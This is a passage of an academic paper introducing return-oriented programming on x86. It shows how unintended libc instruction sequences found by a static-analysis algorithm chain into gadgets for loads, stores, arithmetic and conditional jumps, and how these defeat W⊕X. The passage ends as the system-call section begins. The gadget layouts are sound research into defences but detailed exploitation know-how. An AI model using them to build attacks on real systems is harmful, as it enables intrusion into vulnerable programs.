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Abstract

We present new techniques that allow a return-into-libc attack to be mounted on x86 exe-
cutables that calls no functions at all. Our attack combines a large number of short instruction
sequences to build gadgets that allow arbitrary computation. We show how to discover such
instruction sequences by means of static analysis. We make use, in an essential way, of the
properties of the x86 instruction set.

1 Introduction

We present new techniques that allow a return-into-libc attack to be mounted on x86 executables
that is every bit as powerful as code injection. We thus demonstrate that the widely deployed
“W⊕X” defense, which rules out code injection but allows return-into-libc attacks, is much less
useful than previously thought.

Attacks using our technique call no functions whatsoever. In fact, the use instruction sequences
from libc that weren’t placed there by the assembler. This makes our attack resilient to defenses
that remove certain functions from libc or change the assembler’s code generation choices.

Unlike previous attacks, ours combines a large number of short instruction sequences to build
gadgets that allow arbitrary computation. We show how to build such gadgets using the short
sequences we find in a specific distribution of gnu libc, and we conjecture that, because of the
properties of the x86 instruction set, in any sufficiently large body of x86 executable code there will
feature sequences that allow the construction of similar gadgets. (This claim is our thesis.) Our
paper makes three major contributions:

1. We describe an efficient algorithm for analyzing libc to recover the instruction sequences that
can be used in our attack.

2. Using sequences recovered from a particular version of gnu libc, we describe gadgets that
allow arbitrary computation, introducing many techniques that lay the foundation for what
we call, facetiously, return-oriented programming.

∗Work done while at the Weizmann Institute of Science, Rehovot, Israel, supported by a Koshland Scholars
Program postdoctoral fellowship.
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3. In doing the above, we provide strong evidence for our thesis and a template for how one
might explore other systems to determine whether they provide further support.

In addition, our paper makes several smaller contributions. We implement a return-oriented shell-
code and show how it can be used. We undertake a study of the provenance of ret instructions in
the version of libc we study, and consider whether unintended rets could be eliminated by compiler
modifications. We show how our attack techniques fit within the larger milieu of return-into-libc
techniques.

1.1 Background: Attacks and Defenses

Consider an attacker who has discovered a vulnerability in some program and wishes to exploit
it. Exploitation, in this context, means that he subverts the program’s control flow so that it
performs actions of his choice with its credentials. The traditional vulnerability in this context is
the buffer overflow on the stack [1], though many other classes of vulnerability have been considered,
such as buffer overflows on the heap [29, 2, 13], integer overflows [34, 11, 4], and format string
vulnerabilities [25, 10]. In each case, the attacker must accomplish two tasks: he must find some
way to subvert the program’s control flow from its normal course, and he must cause the program
to act in the manner of his choosing. In traditional stack-smashing attacks, an attacker completes
the first task by overwriting a return address on the stack, so that it points to code of his choosing
rather than to the function that made the call. (Though even in this case other techniques can be
used, such as frame-pointer overwriting [14].) He completes the second task by injecting code into
the process image; the modified return address on the stack points to this code. Because of the
behavior of the C-language string routines that are the cause of the vulnerability, the injected code
must not contain nul bytes. Aleph One, in his classic paper, discusses how to write Linux x86
code under this constraint that execs a shell (for this reason called “shellcode”) [1]; but shellcodes
are available for many platforms and for obtaining many goals (see, e.g., [31]).

This paper concerns itself with evaluating the effectiveness of security measures designed to
mitigate the attacker’s second task above. There are many security measures designed to mitigate
against the first task— each aimed at a specific class of attacks such as stack smashing, heap
overflows, or format string vulnerabilities — but these are out of scope.

The defenders’ gambit in preventing the attacker’s inducing arbitrary behavior in a vulnerable
program was to prevent him from executing injected code. The earliest iterations of this defense,
notably Solar Designer’s StackPatch [27], modified the memory layout of executables to make the
stack nonexecutable. Since in stack-smashing attacks the shellcode was typically injected onto the
stack, this was already useful. A more complete defense, dubbed “W⊕X,” ensures that no memory
location in a process image is marked both writable (“W”) and executable (“X”). With W⊕X, there
is no location in memory into which the attacker can inject code to execute. The PaX project has
developed a patch for Linux implementing W⊕X [22]. Similar protections are included in recent
versions of OpenBSD. AMD and Intel recently added to their processors a per-page execute disable
(“NX” in AMD parlance, “XD” in Intel parlance) bit to ease W⊕X implementation, and Microsoft
Windows (as of XP SP2) implements W⊕X on processors with NX/XD support.

Now that the attackers cannot inject code, their response was to use, for their own purposes,
code that already exists in the process image they are attacking. (It was Solar Designer who first
suggested this approach [28].) Since the standard C library, libc, is loaded in nearly every Unix
program, and since it contains routines of the sort that are useful for an attacker (e.g., wrappers
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for system calls), it is libc that is the usual target, and such attacks are therefore known as return-
into-libc attacks. But in principle any available code, either from the program’s text segment or
from a library it links to, could be used.

By carefully arranging values on the stack, an attacker can cause an arbitrary function to be
invoked, with arbitrary arguments. In fact, he can cause a series of functions to be invoked, one
after the other [21].

1.2 Our Results

One might reasonably ask why, in the face of return-into-libc attacks, it was considered worthwhile
to invest in deploying W⊕X. The answer is that return-into-libc was considered a more limited
attack than code injection, for two reasons:

1. in a return-into-libc attack, the attacker can call one libc function after another, but this still
allows him to execute only straight-line code, as opposed to the branching and other arbitrary
behavior available to him with code injection;

2. the attacker can invoke only those functions available to him in the program’s text segment
and loaded libraries, so by removing certain functions from libc it might be possible to restrict
his capabilities.1

Were the perception of return-into-libc attacks described above correct, deploying W⊕X would
in fact weaken attackers. Unfortunately, we show in this paper that this perception is entirely
untrue: we describe new return-into-libc techniques that allow arbitrary computation (and that
are not, therefore, straight-line limited) and that do not require calling any functions whatsoever,
so removing functions from libc is no help.

1.2.1 The Building Blocks for Our Attack

The building blocks for the traditional return-into-libc attack are functions, and these can be
removed by the maintainers of libc. By contrast, the building blocks for our attack are short code
sequences, each just two or three instructions long. Some are present in libc as a result of the
code-generation choices of the compiler. Others are found in libc despite not having been placed
there at all by the compiler. In either case, these code sequences would be very difficult to eliminate
without extensive modifications to the compiler and assembler.

To understand how there exist code sequences in libc that were not placed there by the compiler,
consider an analogy to English. English words vary in length, and there is no particular position on
the page where a word must end and another start. Intel x86 code is like English written without
punctuation or spaces, so that the words all run together.2 The processor knows where to start
reading and, continuing forward, is able to recover the individual words and make out the sentence,
as it were. At the same time, one can make out more words on the page than were intentionally
placed there. Some words will be suffixes of other words, as “dress” is a suffix of “address”; others
will consist of the end of one word and the beginning of the next, as “head” can be found in “the
address”; and so on. Here is a concrete example for the x86, taken from our testbed libc (see
Section 1.2.6). Two instructions in the entrypoint ecb_crypt are encoded as follows:

1One candidate for removal from libc is system, a function often used in return-into-libc attacks but not much
used in Unix daemons, since it is difficult to apply securely to user input [33, Section 8.3].

2 . . . if English were a prefix-free code, to be pedantic.
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f7 c7 07 00 00 00 test $0x00000007, %edi
0f 95 45 c3 setnzb -61(%ebp)

Starting one byte later, the attacker instead obtains

c7 07 00 00 00 0f movl $0x0f000000, (%edi)
95 xchg %ebp, %eax
45 inc %ebp
c3 ret

How frequently such things occur depends on the characteristics of the language in question, what
we call its geometry. And the x86 ISA is extremely dense, meaning that a random byte stream can
be interpreted as a series of valid instructions with high probability [3]. Thus for x86 code it is quite
easy to find not just unintended words but entire unintended sequences of words. For a sequence
to be potentially useful in our attacks, it need only end in a return instruction, represented by the
byte c3.3 In analyzing a large body of code such as libc we therefore expect to find many such
sequences, a claim that we codify as this paper’s thesis:

Our thesis: In any sufficiently large body of x86 executable code there will exist sufficiently
many useful code sequences that an attacker who controls the stack will be able, by means
of the return-into-libc techniques we introduce, to cause the exploited program to undertake
arbitrary computation.

By contrast, on an architecture such as MIPS where all instructions are 32 bits long and 32-bit
aligned there is no ambiguity about where instructions start or stop, and no unintended instructions
of the sort we describe. One way to weaken our attack is to bring the same features to the
x86 architecture. McCamant and Morrisett, as part of their x86 Software Fault Isolation (SFI)
design [19], propose an instruction alignment scheme that does this. However, their scheme has some
downsides: first, code compiled for their scheme cannot call libraries not so compiled, so the switch
must be all-or-nothing; second, the nop padding allows less code to fit in the instruction cache and
the “andl $0xfffffff0, (%esp); ret” idiom imposes a data dependency that may introduce slowdowns
that might be unacceptable in general-purpose software as opposed to the traditional, more limited
SFI usage scenarios.4 We stress, however, that while countermeasures of this sort would impede our
attack, they would not necessarily prevent it. We have taken some steps, described in Section 2, to
avoid including sequences in our trie that were intentionally placed there by the compiler, but an
attacker is under no such obligation, and there may well be enough sequences that are suffixes of
functions in libc to mount our attack.

In relying intimately on the details of the x86 instruction set, our paper is inspired by two
others: rix’s Phrack article showing how to construct alphanumeric x86 shellcode [24] and Sovarel,
Evans, and Paul’s “Where’s the FEEB?,” which showed how to defeat certain kinds of instruction
set randomization on the x86 [30].

1.2.2 How We Find Sequences

In Section 2, we describe an efficient algorithm for static analysis of x86 executables and libraries.
In the version of libc we examined, our tool found thousands of sequences, from which we chose a

3Sequences ending with some other instructions can also be useful; see Section 5.1.
4Things would be better if Intel added 16-byte–aligned versions of ret, call, jmp, and jcc to the x86 instruction set.
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small subset by means of which to mount our attack. Static analysis has recently found much use
as an attack tool. For example, Kruegel et al. [16] use sophisticated symbolic execution to find ways
by which an attacker can regain control after supposedly restoring a program to its pristine state,
with the goal of defeating host-based intrusion detection system. In their setting, unlike ours, the
attacker can execute arbitrary injected code. Their static analysis techniques, however, might be
applicable to our case as well.

1.2.3 How We Use Sequences in Crafting an Attack

The way we interact with libc in return-oriented programming differs from the way we interact
with libc in traditional return-into-libc attacks in three ways that make crafting gadgets a delicate,
difficult task.

1. The code sequences we call are very short — often two or three instructions —and, when
executed by the processor, perform only a small amount of work. In traditional return-into-
libc attacks, the building blocks are entire functions, which each perform substantial tasks.
Accordingly, our attacks are crafted at a lower level of abstraction, like assembler instead of
a high-level language.

2. The code sequences we call generally have neither function prologue nor function epilogue,
and aren’t chained together during the attack in the standard ways described in the literature,
e.g., by Nergal [21].

3. Moreover, the code sequences we call, considered as building blocks, have haphazard inter-
faces; by contrast, the function-call interface is standardized as part of the ABI.

(Recall that there is, of course, a fourth difference between our code sequences and libc functions
that is what makes our attack attractive: the code sequences we call weren’t intentionally placed in
libc by the authors, and are not easily removed.) In Section 3, we show, despite the difficulties, how
to construct gadgets — short blocks placed on the stack that chain several of instruction sequences
together — that perform all the tasks one needs to perform. We describe gadgets that perform
load/store, arithmetic and logic, control flow, and system call operations.

We stress that while we choose to use certain code sequences in the gadgets in Section 3, we
could have used other sequences, perhaps less conveniently; and while our specific code sequences
might not be found in a libc on another platform, other code sequences will be, and gadgets similar
to ours could be constructed with those — at least if our thesis holds.

1.2.4 Previous Uses of Short Sequences in Attacks

Some previous return-into-libc attacks have used short code snippets from libc. Notably, code
segments of the form pop %reg; ret to set registers have been used to set function arguments on
architectures where these are passed in registers, such as SPARC [20] and x86-64 [15]. Other
examples are Nergal’s “pop-ret” sequences [21] and the “register spring” technique introduced by
dark spyrit [6] and discussed by Crandall, Wu, and Chong [5]. Our attack differs in doing away
altogether with calling functions in libc. The previous attacks used short sequences as glue in
combining the invocations of functions in libc or in jump-starting the execution of attacker-injected
code. Our technique shows that short code sequences, combined in appropriate ways, can express
any computation an attacker might want to carry out, without the use of any functions.
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Of the previous uses discussed here, Krahmer’s borrowed code chunks exploitation technique [15]
is the closest to ours. Krahmer uses static analysis to look for register-pop sequences. He describes
a shellcode-building tool that combines these sequences to allow arbitrary arguments to be passed
to libc functions. However, exploits constructed using Krahmer’s techniques are still straight-line
limited and still rely on specific functions in libc — like other traditional return-into-libc attacks,
and unlike the new attack we propose.

1.2.5 Wait, What about Zero Bytes?

The careful reader will observe that some of the gadgets we describe in Section 3 require that a
nul byte be placed on the stack. This means that they cannot be used in the payload of a simple
stack-smash buffer overflow. This is not a problem, however, for the following reasons:

1. We have not optimized our gadgets to avoid nul bytes. If they are a concern, it should be
possible to eliminate the use of many of them, using the same techniques used in standard
shellcode construction. For example, loading an immediate 0 into %eax could be replaced by
a code sequence of the form xor %eax, %eax; ret, or by a load of 0xffffffff followed by an
increment. If the address of a code sequence includes a nul byte, we could have Galileo
choose another instance of that sequence whose address does not include a nul byte, or we
can substitute a different sequence.

2. There are other ways by which an attacker can overwrite the stack than standard buffer
overflows, and not all suffer from the same constraints. For example, there is no problem
writing nul bytes onto the stack in a format-string exploit.

3. We view our techniques not in isolation but as adding to the toolbox available for return-
into-libc attacks. This toolbox already contains techniques for patching up nul bytes — as
described, for example, by Nergal [21, Section 3.4]— that are just as applicable to exploits
structured in the ways we describe.

A similar argument applies to the interaction between our techniques and address space layout
randomization (ASLR). Those gadgets that do not require knowledge of addresses on the stack can
be used directly in the Shacham et al. [26] derandomization framework. Some of those gadgets that
do require knowledge of addresses on the stack could likely be rewritten not to require it.

1.2.6 Our Libc Testbed

We carry out our experiments on the gnu C Library distributed with Fedora Core Release 4:
libc-2.3.5.so. Our testing environment was a 2.4 GHz Pentium 4 running Fedora Core Release 4,
with Linux kernel version 2.6.14 and gnu libc 2.3.5, as noted.

2 Discovering Useful Instruction Sequences in Libc

In this section, we describe our algorithm for discovering useful code sequences in libc. We sifted
through the sequences output by this algorithm when run on our testbed libc to select those
sequences employed in the gadgets described in Section 3.

Before we describe the algorithm, we must first make more precise our definition of “useful
code sequence.” We say that a sequence of instructions is useful if it could be used in one of our
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Algorithm Galileo:
create a node, root, representing the ret instruction;
place root in the trie;
for pos from 1 to textseg len do:

if the byte at pos is c3, i.e., a ret instruction, then:
call BuildFrom(pos, root).

Procedure BuildFrom(index pos, instruction parent insn):
for step from 1 to max insn len do:

if bytes
[
(pos − step) . . . (pos − 1)

]
decode as a valid instruction insn then:

ensure insn is in the trie as a child of parent insn;
if insn isn’t boring then:

call BuildFrom(pos − step, insn).

Figure 1: The Galileo Algorithm.

gadgets, that is, if it is a sequence of valid instructions ending in a ret instruction and such that
that none of the instructions causes the processor to transfer execution away, not reaching the ret.
(It is the ret that causes the processor to continue to the next step in our attack.) We say that
a useful sequence is intended if the instructions were actually inserted by the compiler in giving
the machine-code compiled equivalent for some function in libc. In accordance with our thesis,
the algorithm we describe attempts to avoid intended code sequences, though it does not shy away
from using intended rets at the end of sequences.

Two observations guide us in the choice of a data structure in which to record our findings.
First, any suffix of an instruction sequence is also a useful instruction sequence. If, for example,
we discover the sequence “a; b; c; ret” in libc, then the sequence “b; c; ret” must of course also
exist. Second, it does not matter to us how often some sequence occurs, only that it does.5 Based
on these observations, we choose to record sequences in a trie. At the root of the trie is a node
representing the ret instruction; the “child-of” relation in the trie means that the child instruction
immediately precedes the parent instruction at least once in libc. For example, if, in the trie, a
node representing pop %eax is a child of the root node (representing ret) we can deduce that we
have discovered, somewhere in libc, the sequence pop %eax; ret.

Our algorithm for populating the trie makes use of following fact: It is far simpler to scan
backwards from an already found sequence than to disassemble forwards from every possible location
in the hope of finding a sequence of instructions ending in a ret. When scanning backwards, the
sequence-so-far forms the suffix for all the sequences we discover. The sequences will then all start
at instances of the ret instruction, which we can scan libc sequentially to find.

In looking backwards from some location, we must ask: Does the single byte immediately
preceding our sequence represent a valid one-byte instruction? Do the two bytes immediately
preceding our sequence represent a valid two-byte instruction? And so on, up to the maximum
length of a valid x86 instruction.6 Any such question answered “yes” gives a new useful sequence
of which our sequence-so-far is a suffix, and which we should explore recursively by means of the

5From all the occurrences of a sequence, we might prefer to use one whose address does not include a nul byte
over one that does.

6Including all instruction-modifying prefixes, 20 bytes.
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same approach. Because of the density of the x86 ISA, more than one of these questions can
simultaneously have a “yes” answer.7

Figure 1 presents, in pseudocode, our algorithm for finding useful sequences.

2.1 “Boring” Instructions

The definition of “boring” we use is the following:

1. the instruction is a leave instruction and is followed by a ret instruction; or

2. the instruction is a pop %ebp instruction and is immediately followed by a ret instruction; or

3. the instruction is a return or an unconditional jump.

The last of these criteria eliminates instruction streams in which control transfers elsewhere before
the ret is reached, as these are useless for our purposes. The other two are intended to capture,
and allow us to ignore, instruction streams that are actually generated by the compiler. Because
the libc we examined was compiled with frame pointer enabled, functions in libc will, by and large,
end either with a “leave; ret” sequence or an equivalent where the leave instruction is replaced by
mov and pop instructions.

It is important to observe that the conditions given here eliminate instruction sequences that
would be useful in crafting exploits. There are three ways in which they do so. First, even if we wish
to avoid calling actual functions in libc, suffixes of those functions might prove useful and, if short,
difficult for the compiler-writer to eliminate. Second, the same characteristics that allow us to
discover unintended instruction sequences elsewhere will also allow us to discover, within the body
of libc functions, unintended sequences that end in intended “leave; ret” sequences. Third, both
leave and pop %ebp are one-byte instructions, and it is possible that a “leave; ret” sequence we come
upon wasn’t intended at all, but is found in the libc byte stream in the same way that unintended
rets are, explained in Section 5. Note that while the techniques we develop for generating programs
from chains of instruction sequences do not usually interact with leaves, it is possible to modify
our techniques to work in this setting using the frame-chaining methods described by Nergal [21].
That we are able to mount our attacks even without using the code snippets eliminated by the
conditions above gives further evidence, of course, for our thesis.

2.2 Implementation and Performance

Our implementation of Galileo follows the pseudocode given above quite closely. To discover what
portion of libc is mapped as an executable segment, our code parses libc’s elf headers. We make
use of two helper libraries. To parse the elf headers, we use gnu libelf, version 0.8.9 [23]; to decode
x86 instructions, we use the Bastard project’s libdisasm [18], version 0.21-pre from CVS, with some
local modifications. Analyzing the 1,189,501 bytes of libc’s executable segment yields a trie with
15,121 nodes, and takes 1.6 sec on a 1.33 GHz PowerPC G4 with 1GB RAM. While it should be
possible to improve the running time of the algorithm — for example, by using memoization to
avoid decoding a particular byte sequence in libc several times — we judged our implementation’s
performance to be already quite adequate.

7In fact, amongst the useful sequences we discover in libc there is a point where four valid instructions all end at
the same point; and, examining libc as a whole, there is a point where seven valid instructions do.
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%esp
pop %edx

ret

0xdeadbeef

Figure 2: Load the constant 0xdeadbeef into %edx.

3 Return-Oriented Programming

This section is intended to serve as a catalogue for the actions that we can perform using the
sequences we find in libc, and as a tutorial to return-oriented programming generally. Accordingly,
we provide more explanatory detail for the earlier gadgets than the later.

Gadgets are our intermediate organizational unit. Each gadget specifies certain values to be
placed on the stack that make use of one or more sequences of instructions from libc. Gadgets
perform well-defined operations, such as a load, an xor, or a jump. Return-oriented programming
consists in putting gadgets together that will perform the desired operations. The set of gadgets
we describe is Turing complete by inspection, so return-oriented programs can do anything possible
with x86 code. We stress that the code sequences pointed to by our gadgets are actually contained
in libc; they are not injected with the gadgets themselves — this is ruled out by W⊕X. This is the
reason that some of the sequences used are weird looking: those were the best sequences available
in our testbed libc.

Each of our gadgets expects to be entered in the same way: the processor executes a ret with
the stack pointer, %esp, pointing to the bottom word of the gadget. This means that, in an exploit,
the first gadget should be placed so that its bottom word overwrites some function’s saved return
address on the stack. Further gadgets can be placed immediately after the first or, by means of the
control flow gadgets given in Section 3.3, in arbitrary locations. (It is helpful for visualizing gadget
placement to think of the gadgets as being instructions in a rather strange computer.)

3.1 Load/Store

We consider three cases: loading a constant into a register; loading the contents of a memory
location into a register; and writing the contents of a register into a memory location.

3.1.1 Loading a Constant

The first of these can trivially be accomplished using a sequence of the form pop %reg; ret. One
such example is illustrated in Figure 2. In this figure as in all the following, the entries in the
ladder represent words on the stack; those with larger addresses are placed higher on the page.
Some words on the stack will contain the address of a sequence in libc. Our notation for this shows
a pointer from the word to the sequence. Other words will contain pointers to other words, or
immediate values. In the example here, once the processor is executing the sequence pop %edx;
ret, the ret that caused it to enter the gadget will also have caused %esp to be incremented by
a word; the pop %edx instruction, therefore, will pop the next word on the stack — 0xdeadbeef,
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%esp
pop %eax
ret

movl 64(%eax), %eax
ret

0xdeadbeef

+ 64

Figure 3: Load a word in memory into %eax.

in this case — into %edx, advancing %esp once more, past the end of the gadget, so that the ret
instruction causes execution to continue with the next gadget, placed above it.

3.1.2 Loading from Memory

We choose to load from memory into the register %eax, using the sequence movl 64(%eax), %eax;
ret. We first load the address into %eax, using, for example, the constant-load procedure detailed
above. Because of the immediate offset in the movl instruction we use, the address in %eax must
actually be 64 bytes less than the address we wish to load. We then apply the movl sequence, after
which %eax contains the contents of the memory location. The procedure is detailed in Figure 3.
Note the notation we use to signify, “the pointer in this cell requires that 64 be added to it so that
it points to some other cell.”

3.1.3 Storing to Memory

We use the sequence movl %eax, 24(%edx); ret to store the contents of %eax into memory. We load
the address to be written into %edx using the constant-load procedure above. The procedure is
detailed in Figure 4.

3.2 Arithmetic and Logic

There are many approaches by which we could implement arithmetic and logic operations. The one
we choose, which we call our ALU paradigm, is as follows. For all operations, one operand is %eax;
the other is a memory location. Depending on what is more convenient, either %eax or the memory
location receives the computed value. This approach allows us to compute memory-to-memory
operations in a simple way: we load one of the operands into %eax, using the load-from-memory
methods of Section 3.1; we apply the operation; and, if the result is now held in %eax, we write it
to memory, using the store-to-memory methods of the same section.
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%esp
pop %edx
ret

movl %eax, 24(%edx)
ret

+ 24

Figure 4: Store %eax to a word in memory.

Below, we describe in detail some of the operations we implement — particularly those that
introduce new techniques —and the remainder more briefly.

3.2.1 Add

The most convenient sequence for performing an add that fits into our ALU paradigm is the
following:

addl (%edx), %eax; push %edi; ret. (1)

The first instruction adds the word at %edx to %eax, which is exactly what we want. The next
instruction, however, creates some problems. Whereas a “popret” sequence is convenient for im-
plementing a constant-load operation, a “pushret” sequence is inconvenient for two reasons. First,
the value pushed onto the stack is then immediately used by the ret instruction as the address for
the next code sequence to execute, which means the values we can push are restricted. Second, the
push overwrites a word on the stack, so that if we execute the gadget again (say, in a loop) it will
not behave the same.

We first present a simple approach that does not take the second problem into account. Before
undertaking the addl instruction sequence, we load into %edi the address of a ret instruction. In
return-oriented programming, a ret acts like nop, increasing %esp but otherwise having no effect.
We illustrate this version in Figure 5. Observe that the push %edi instruction causes the top word
on the stack to be overwritten by the contents of %edi, i.e., to point to a ret instruction. Figure 6
illustrates the state of memory immediately after push %edi is executed.

As can be seen, the gadget is changed by the pushret sequence, and a subsequent run through it
would not give an add operation. This is fine if the gadget is only executed once, but is a problem
if it forms a subroutine or a loop body. The solution in this case is to fix up the last word in the
gadget with the address of (1), as part of the gadget’s code. We cannot use the store-into-memory
method given in Section 3.1 because %eax is occupied by an add operand. Instead, we use another
code sequence available to us: movl %ecx, (%edx); ret. The complete procedure is illustrated in
Figure 7.
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%esp
pop %edi
ret

ret

pop %edx
ret

addl (%edx), %eax
push %edi
ret

0xdeadbeef

Figure 5: Simple add into %eax.

%esp

pop %edi
ret

(ret)

pop %edx
ret

ret addl (%edx), %eax
push %edi
ret

0xdeadbeef

Figure 6: Simple add into %eax: State after push %edi is executed.
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%esp
pop %ecx
pop %edx
ret

addl (%edx), %eax
push %edi
ret

movl %ecx, (%edx)
ret

pop %edi
ret

ret

pop %edx
ret

0xdeadbeef

Figure 7: Repeatable add into %eax.
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3.2.2 Other Arithmetic Operations

The sequence neg %eax; ret allows us to compute −x given x and, together with the method for
addition given above, also allows us to subtract values. There is not, in the sequences we found
in libc, a convenient way to compute multiplication, but the operation could be simulated using
addition and the logic operations described below.

3.2.3 Exclusive Or

We could implement exclusive or just as we implemented addition if we had available a sequence
like xorl (%edx), %eax or xorl %eax, (%edx), but we do not. We do, however, have access to a
bytewise operation of the form xorb %al, (%ebx). If we can move each byte of %eax into %al in
turn, we can compute a wordwise xor of %eax into a memory location x by repeating the operation
four times, with %ebx taking on the values x, x + 1, x + 2, and x + 3. Conveniently, we can rotate
%eax using the sequence ror $0x08, %eax; ret. All that remains, then is to deal with the side effects
of the xorb sequence we have:

xorb %al, 0x48908c0(%ebx); and $0xff, %al;
push %ebp; or $0xc9, %al; ret.

(2)

The immediate offset in the xorb instruction means that the values we load into %ebx must be
adjusted appropriately. The and and or operations have the effect of destroying the value in %al,
but by then we have already used %al, so this is no problem. (If we want to undertake another
operation with the value in %eax, we must reload it from memory.) The push operation means
that we must load into %ebp the address of a ret instruction and that, if we want the xor to
be repeatable, we must rewrite the xorb instructions into the gadget each time, as described for
repeatable addition above. Figure 8 gives the details for a (one-time) xor operation.

3.2.4 And, Or, Not

Bitwise-and and -or are also best implemented using bytewise operations, in a manner quite similar
to the xor method above. The code sequences are, respectively,

andb %al, 0x5d5e0cc4(%ebx); ret and
orb %al, 0x40e4602(%ebx); ret.

These code sequences have fewer side effects than (2) for xor, above, so they are simpler to employ.
Bitwise-not can be implemented by xoring with the all-1 pattern.

3.2.5 Shifts and Rotates

We first consider shifts and rotates by an immediate (constant) value. In this case, instead of
implementing the full collection of shifts and rotates, we implement a single operation: a left rotate,
which suffices for constructing the rest: a right rotate by k bits is a left rotate by 32−k bits; a shift
by k bits in either direction is a rotate by k bits followed by a mask of the bits to be cleared, which
can itself be computed using the bitwise-and method discussed above. The code sequence we use
for rotation is roll %cl, 0x17383f8(%ebx); ret. The corresponding gadget is detailed in Figure 9.

14



%esp
pop %ebp
ret

ret

pop %ebx
ret

+ 0x48908c0

xorb %al, 0x48908c0(%ebx)
and $0xff, %al
push %ebp
or $0xc9, %al
ret

ror $0x08, %eax
ret

pop %ebx
ret

+ 0x48908c0

xorb %al, 0x48908c0(%ebx)
and $0xff, %al
push %ebp
or $0xc9, %al
ret

ror $0x08, %eax
ret

pop %ebx
ret

+ 0x48908c0

xorb %al, 0x48908c0(%ebx)
and $0xff, %al
push %ebp
or $0xc9, %al
ret

ror $0x08, %eax
ret

pop %ebx
ret

+ 0x48908c0

xorb %al, 0x48908c0(%ebx)
and $0xff, %al
push %ebp
or $0xc9, %al
ret

ror $0x08, %eax
ret

0xdeadbeef

Figure 8: Exclusive or from %eax.
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%esp
pop %ebx
ret

+ 0x017383f8

pop %ecx
pop %edx
ret

0x00000004

0xdecafbad

roll %cl, 0x017383f8(%ebx)
ret

0xdeadbeef

Figure 9: Immediate rotate, 4 bits leftward, of memory word.

We now consider shifts and rotates by a variable number of bits. The gadget in Figure 9 reads
the value of %ecx from the stack. If we wish for this value to depend on some other memory
location, we can simply read that memory location and write it to the word on the stack from
which %ecx is read. Implementing variable-bit shifts is a bit more difficult, because we must now
come up with the mask corresponding to the shift bits. The easiest way to achieve this is to store
a 32-word lookup table of masks in the program.

3.3 Control Flow

3.3.1 Unconditional Jump

Since in return-oriented programming the stack pointer %esp takes the place of the instruction
pointer in controlling the flow of execution, an unconditional jump requires simply changing the
value of %esp to point to a new gadget. This is quite easy to do using the instruction sequence pop
%esp; ret. Figure 10 shows a gadget that causes an infinite loop by jumping back on itself.

Loops in return-into-libc exploits have been considered before: see Gera’s “esoteric #2” chal-
lenge [9].

3.3.2 Conditional Jumps

These are rather more tricky. Below we develop a method for obtaining conditional jumps.
To begin, some review. The cmp instruction compares its operands and, based on their re-

lationship, sets a number of flags in a register called %eflags. In x86 programming, it is often
unnecessary to use cmp directly, because many operations set flags as a side effect. The conditional
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%esp
pop %esp

ret

Figure 10: An infinite loop by means of an unconditional jump.

%esp
neg %eax

ret

Figure 11: Conditional jumps, phase one: Clear CF if %eax is zero, set CF if %eax is nonzero.

jump instructions, jcc, cause a jump when the flags satisfy certain conditions. Because this jump
is expressed as a change in the instruction pointer, the conditional jump instructions are not useful
for return-oriented programming: What we need is a conditional change in the stack pointer.

The strategy we develop is in three parts, which we tackle in turn:

1. Undertake some operation that sets (or clears) flags of interest.

2. Transfer the flags from %eflags to a general-purpose register, and isolate the flag of interest.

3. Use the flag of interest to perturb %esp conditionally by the desired jump amount.

For the first task, we choose to use the carry flag, CF, for reasons that will become clear below.
Employing just this flag, we obtain the full complement of standard comparisons. Most easily,
we can test whether a value is zero by applying neg to it. The neg instruction (and its variants)
calculates two’s-complement and, as a side effect, clears CF if its operand is zero and sets CF
otherwise. Figure 11 shows the simplest case, in which the value to test is held in %eax. (Note
that this is in keeping with our ALU paradigm of Section 3.2.)

If we wish to test whether two values are equal, we can subtract one from the other and test
(using neg, as above) whether the result is zero. If we wish to test whether one value is larger than
another, we can, again, subtract the first from the second; the sub instruction (and its variants) set
CF when the subtrahend is larger than the minuend.

For the second task, the natural way to proceed is the lahf instruction, which stores the five
arithmetic flags (SF, ZF, AF, PF, and CF) in %ah. Unfortunately, this instruction is not available
to us in the libc sequences we found. Another way is the pushf instruction, which pushes a word
containing all of %eflags onto the stack. This instruction is available to us, but like all pushrets is
tricky to use in a return-oriented setting.

Instead, we choose a third way. Several instructions use the carry flag, CF, as an input: in
particular, left and right rotates with carry, rcl and rcr, and add with carry, adc. Add with carry
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%esp

(CF goes here)

pop %ecx
pop %edx
ret

0x00000000

adc %cl, %cl
ret

movl %ecx, (%edx)
ret

Figure 12: Conditional jumps, phase two: Store either 1 or 0 in the data word labeled “CF goes
here,” depending on whether CF is set or not.

computes the sum of its two operands and the carry flag, which is useful in multiword addition
algorithms. If we take the two operands to be zero, the result is 1 or 0 depending on whether the
carry flag is set— exactly what we need. This we can do quite easily by clearing %ecx and using
the instruction sequence adc %cl, %cl; ret. The process is detailed in Figure 12. We note, finally,
that we can evaluate complicated Boolean expressions by collecting CF values for multiple tests
and combining them with the logical operations described in Section 3.2.

For the third task, we proceed as follows. We have a word in memory that contains 1 or 0.
We transform it to contain either esp delta or 0, where esp delta is the amount we’d like to
perturb %esp by if the condition evaluates as true. One way to do this is as follows. The two’s
complement of 1 is the all-1 pattern and the two’s complement of 0 is the all-0 pattern, so applying
negl to the word containing CF we have all-1s or all-0s. Then taking bitwise and of the result and
esp delta gives a word containing esp delta or 0. This process is detailed in Figure 13. (The
instruction sequences we use have some side effects that must be worked around, but the process
itself is straightforward.)

Now, we have the desired perturbation, and it is simple to apply it to the stack pointer by
means of the sequence

addl (%eax), %esp; addb %al, (%eax);

addb %cl, 0(%eax); addb %al, (%eax); ret

with %eax pointing to the displacement. The extra operations have the effect of destroying the
displacement, but as it has already been used this is no problem. The procedure is detailed in
Figure 14.
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%esp

(CF here)

0xbadc0ded

pop %ebx
ret

+94

negl 94(%ebx)
pop %edi
pop %ebp
mov %esi, %esi
ret

0xdecafbad

0xdecafbad

pop %esi
ret

esp delta

pop %ecx
pop %ebx
ret

+0x5e5b6cc4

andl %esi, (%ecx)
rolb $0x5d, 0x5e5b6cc4(%ebx)
ret

Figure 13: Conditional jumps, phase three, part one: Convert the word (labeled “CF here”) con-
taining either 1 or 0 to contain either esp delta or 0. The data word labeled 0xbadc0ded is used
for scratch.
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%esp

(perturbation here)

pop %eax
ret

addl (%eax), %esp
addb %al, (%eax)
addb %cl, 0(%eax)
addb %al, (%eax)
ret

Figure 14: Conditional jumps, phase three, part two: Apply the perturbation in the word labeled
“perturbation here” to the stack pointer. The perturbation is relative to the end of the gadget.

3.4 System Calls

Our key observation is that many system calls have simple wrappers in libc that behave, broadly,
as follows:

1. move the arguments from the stack to registers, and set the syscall number in %eax;

